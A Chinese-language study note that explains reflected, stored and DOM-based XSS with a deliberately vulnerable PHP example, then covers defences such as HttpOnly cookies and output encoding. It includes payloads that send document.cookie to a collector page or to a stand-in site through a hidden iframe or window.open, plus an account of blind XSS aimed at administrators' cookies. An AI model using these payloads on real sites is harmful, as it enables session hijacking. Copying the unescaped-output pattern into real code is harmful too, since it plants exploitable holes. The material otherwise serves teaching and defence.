安全學習筆記-web安全之XSS攻擊

語言: CN / TW / HK

web安全之XSS攻擊

XSS 即跨站指令碼攻擊,是 OWASP TOP10 之一。它的全稱為 Cross-site scripting,因為 CSS 這個簡稱已經被佔用表示為前端三劍客之一的CSS,所以簡寫為XSS。

原理

瀏覽器將使用者輸入的惡意內容當做指令碼去執行,從而導致了惡意功能的執行,這是一種客戶端攻擊方式,是網站應用程式的安全漏洞攻擊,是指令碼程式碼注入的一種。可分為三個型別: 反射型儲存型DOM型

反射型XSS

先來看下面示例

<?php
$input = $_GET["info"];
echo "<div>".$input."</div>"

?>

當用戶在前端獲取值通過url傳遞給後端時,上面程式碼將顯示使用者傳遞引數。如下:

思考:當傳遞引數本身為惡意程式碼時將會有怎麼樣的效果?如下:

http://localhost:3000/php_stu/xss_some/xss01.php?info=<script>alert(/xss/)</script>

效果就是會執行js的alert函式:

如果將 info=<script>alert(/xss/)</script> 替換成複雜邏輯程式碼可以獲取使用者資訊做一些操作。例如改成如下程式碼:

<script>
            p = window.location.pathname;
            c = document.cookie;
            ifm = document.createElement("iframe");
            document.body.appendChild(ifm);
            ifm.width = 0;ifm.height = 0;
            ifm.src = "http://localhost:3000/php_stu/xss_some/1.php?info=" + p + "&co" + c;
        </script>

根據如上程式碼請求後發現我的1.php網站獲取到了使用者的網站路徑和使用者cookie:

總結:反射型XSS只是簡單地把使用者輸入的資料”反射給瀏覽器“。也就是說,黑客往往需要誘導使用者點選一個惡意連結(如釣魚郵件等),才能進行攻擊。因此反射型XSS也叫做非持久型XSS。

儲存型XSS

儲存型XSS會把使用者輸入的資料儲存在伺服器,這種XSS危害性更大。比如在部落格網站上,一個人在自己的資訊上寫一段指令碼。如”自我介紹 <script>window.open("http://wwww.mysite.com?yourcookie=document.cookie")</script> “,而這個部落格網站沒有對自我介紹的內容進行正確的編碼,當網站其他使用者看到這個資訊時,這個使用者將會得到所有看他自我介紹的使用者的會話cookie。更嚴重的是,如果攻擊者的惡意程式碼可以自我擴散,特別是在社交網路上,就會形成蠕蟲,早期的samy worm就是如此。

下面就是儲存型XSS的一個應用場景:

基於DOM的XSS

基於DOM的XSS和反射型XSS原理基本上一樣,不同的是基於DOM的XSS在伺服器端沒有辦法控制,必須在客戶端控制,因為不經過服務端,所以可以繞過WAF等的檢測。DOM是前端HTML的概念,最好需先去了解下前端DOM樹的概念。

比如有一網站程式碼如下:

<script>
    function test() {
        var inpStr = document.getElementById("usr").value;
        document.getElementById("link").innerHTML = "<a href='"+inpStr+"' >testLink</a>";
    }
</script>

<div id="link"></div>
<input type="text" id="usr" value="" />
<input type="button" id="tmp" value="show" onclick="test()" />

效果如下:

點選show按鈕之後生產一個超連結:

如果我在input輸入框內輸入如下字串 ' onclick=alert(/xss/) ' 將得到如下效果:

得到的超連結標籤內容為 <a href='' onclick=alert(/xss/) ''> testLink</a>

跨站(XSS)盲打

這裡再介紹下XSS盲打,XSS盲打就是儘可能地於一切可能的地方提交XSS語句,比如某些網站使用者給站長投信反饋意見,如果管理員看到此xss語句就能獲取到管理員的cookie資訊。

XSS防範

  • HttpOnly

    HttpOnly由微軟提出,在IE6中實現,目前主流瀏覽器都支援,意思是瀏覽器將禁止頁面的JavaScript訪問帶有HttpOnly屬性的Cookie。這樣HttpOnly可以有效防止Cookie劫持。

  • 轉義特殊字元

    • '&'
    • '"'
    • '''
    • '<'
    • '>'
  • 安全編碼

    對後端傳輸到前端的輸出進行編碼,防止其被解析成為動態內容。比如php程式設計裡的htmlentities()和htmlspecialchars()函式,python中django模板裡的escape等。

總的來說堅持輸入和輸出不可信。